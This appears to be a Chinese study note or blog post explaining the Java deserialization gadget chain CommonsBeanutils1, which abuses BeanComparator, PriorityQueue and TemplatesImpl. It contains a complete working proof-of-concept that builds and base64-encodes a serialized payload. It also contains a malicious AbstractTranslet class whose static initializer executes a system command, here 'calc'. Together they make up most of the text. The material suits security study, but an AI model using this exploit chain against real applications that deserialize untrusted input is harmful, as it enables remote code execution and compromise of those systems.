不是ccb
是CommonsBeanutils

上一篇学习了CC2中的java.util.PriorityQueue
这个类会进行重排序操作触发比较
CB1链子的出现是为了找到另一个能够利用的比较器(除触发翻译链外)

JavaBean

属性的封装完全符合标准的类叫JavaBean
例如:

public class Person {
private String name;
private int age;

public String getName() { return this.name; }
public void setName(String name) { this.name = name; }

public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }

public boolean isChild() {
return age <= 6;
}
}

CommonsBeanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对
象(也称为JavaBean)的一些操作方法。

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty
让使用者可以直接调用任意JavaBeangetter方法,比如:

PropertyUtils.getProperty(new Person(), "name");

此时,commons-beanutils会自动找到name属性的getter方法,
也就是getName,然后调用,获得返回值。

POC

package org.example;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(org.example.evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));

ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

BeanComparator

可以看到poc中用到的就是这个BeanComparator比较器
这个比较器用于比较两个JavaBean是否相等
它的比较方法:

public int compare( final T o1, final T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( final IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " +
iae.toString() );
}
catch ( final InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " +
ite.toString() );
}
catch ( final NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " +
nsme.toString() );
}
}

其中的这个方法:getProperty()可以用来获取get封装函数
回忆之前的TemplatesImpl加载类的方法:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

这个方法:getOutputProperties()
恰好符合以get开头的JavaBean封装函数的标准
那只要控制:

PropertyUtils.getProperty('TemplatesImpl对象','outputProperties');

就可以调用到TemplatesImpl.getOutputProperties()
加载恶意类

恶意类

这个恶意类必须要适用于TemplatesImpl
也就是那时候讨论过的继承AbstractTranslet
如下:

package org.example.evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTemplatesImpl extends AbstractTranslet {
static {
// 恶意代码(例如执行命令)
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

如此一来就成功实现了命令执行